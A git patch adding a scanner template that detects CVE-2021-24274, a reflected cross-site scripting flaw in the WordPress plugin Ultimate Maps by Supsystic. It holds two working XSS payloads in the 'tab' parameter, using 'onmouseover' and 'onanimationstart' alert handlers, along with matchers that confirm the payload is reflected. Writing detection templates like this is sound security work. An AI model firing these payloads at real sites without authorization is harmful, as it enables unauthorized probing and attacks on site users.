From b4ea85bcb7a95cd74ec07297d9a2bfa870710622 Mon Sep 17 00:00:00 2001 From: Dhiyaneshwaran Date: Tue, 28 Sep 2021 22:41:56 +0530 Subject: [PATCH] Create CVE-2021-24274.yaml --- cves/2021/CVE-2021-24274.yaml | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+) create mode 100644 cves/2021/CVE-2021-24274.yaml diff --git a/cves/2021/CVE-2021-24274.yaml b/cves/2021/CVE-2021-24274.yaml new file mode 100644 index 0000000000..4e6912b22c --- /dev/null +++ b/cves/2021/CVE-2021-24274.yaml @@ -0,0 +1,31 @@ +id: CVE-2021-24274 + +info: + name: Ultimate Maps by Supsystic < 1.2.5 - Reflected Cross-Site scripting (XSS) + author: dhiyaneshDK + severity: low + reference: + - https://wpscan.com/vulnerability/200a3031-7c42-4189-96b1-bed9e0ab7c1d + tags: wordpress,cves,cve2021 + +requests: + - method: GET + path: + - '{{BaseURL}}/wp-admin/admin.php?page=ultimate-maps-supsystic&tab="onmouseover=alert(/XSS/)//' + - '{{BaseURL}}/wp-admin/admin.php?page=ultimate-maps-supsystic&tab="+style=animation-name:rotation+onanimationstart=alert(/XSS/)//' + + matchers-condition: and + matchers: + - type: word + words: + - 'alert(/XSS/)/' + condition: and + + - type: status + status: + - 200 + + - type: word + words: + - "text/html" + part: header